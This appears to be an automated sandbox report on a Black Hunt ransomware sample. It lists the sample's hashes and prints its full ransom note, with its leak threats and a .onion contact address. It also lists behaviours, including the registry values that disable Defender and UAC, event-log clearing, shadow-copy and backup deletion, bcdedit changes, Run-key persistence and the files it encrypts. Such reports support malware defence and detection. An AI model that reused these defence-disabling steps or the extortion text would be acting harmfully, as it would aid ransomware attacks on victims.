Analysis
- max time kernel
136s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system - submitted
18/01/2024, 23:40
Static task
static1
Behavioral task
behavioral1
Sample
6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe
Resource
win10v2004-20231215-en
General
- Target 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe
- Size 707KB
- Sample240118-3nwpnahabl
- SHA256 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c
- MD5 6e9575e3d5c066f65aae2cd94bc28bd2
- SHA1 2877b28ba70743e3575a31b18555a9546e2237c6
- SHA512 2c9559b5cc96c7de4ebbf6d417886a061cc26ef15973f4aa95677933d15928b1ac8d021cd11a522ea084d261d282e7d29b47576208b262223d19be42cf318403
- SSDEEP 6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1g8Kvnh:6uaTmkZJ+naie5OTamgEoKxLWrEh
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
C:\ProgramData\#BlackHunt_ReadMe.hta
- <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> nPJ4OFJlxAVeMhcX </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
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http-equiv="x-ua-compatible"
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http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
- Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 5036 fsutil.exe 5556 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe - Clears Windows event logs 1 TTPs 5 IoCs
pid Process 5912 wevtutil.exe 4972 wevtutil.exe 3232 wevtutil.exe 5188 wevtutil.exe 4568 wevtutil.exe - Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1864 bcdedit.exe 2408 bcdedit.exe 3128 bcdedit.exe 5620 bcdedit.exe - Renames multiple (584) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 4764 wbadmin.exe 6108 wbadmin.exe - Disables Task Manager via registry modification
- Disables use of System Restore points 1 TTPs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe Key value queried \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation cmd.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe - Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Q: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\I: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\S: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\R: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\Y: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\U: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\X: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\M: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\T: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\K: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\B: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\L: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\Z: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\N: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\P: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\G: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\J: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\H: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\V: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\O: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened (read-only) \??\A: 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\7-Zip\Lang\it.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\US_export_policy.jar 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_ReadMe.hta 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.hta 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\jdwpTransport.h 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jcup.md 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\javafx\libxml2.md 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#BlackHunt_ReadMe.hta 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\lua\http\requests\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_ja.properties 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\plugins\gui\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\#BlackHunt_ReadMe.hta 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\dotnet\swidtag\Microsoft Windows Desktop Runtime - 8.0.0 (x64).swidtag 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\ecc.md 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\cacerts 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.txt 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File created C:\Program Files\VideoLAN\VLC\plugins\meta_engine\#BlackHunt_Private.key 6a786a89321c49fa0ffecc5d8bc25be7be69e40d18342dd8ea8b2fedfa201c2c.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgePackages.h 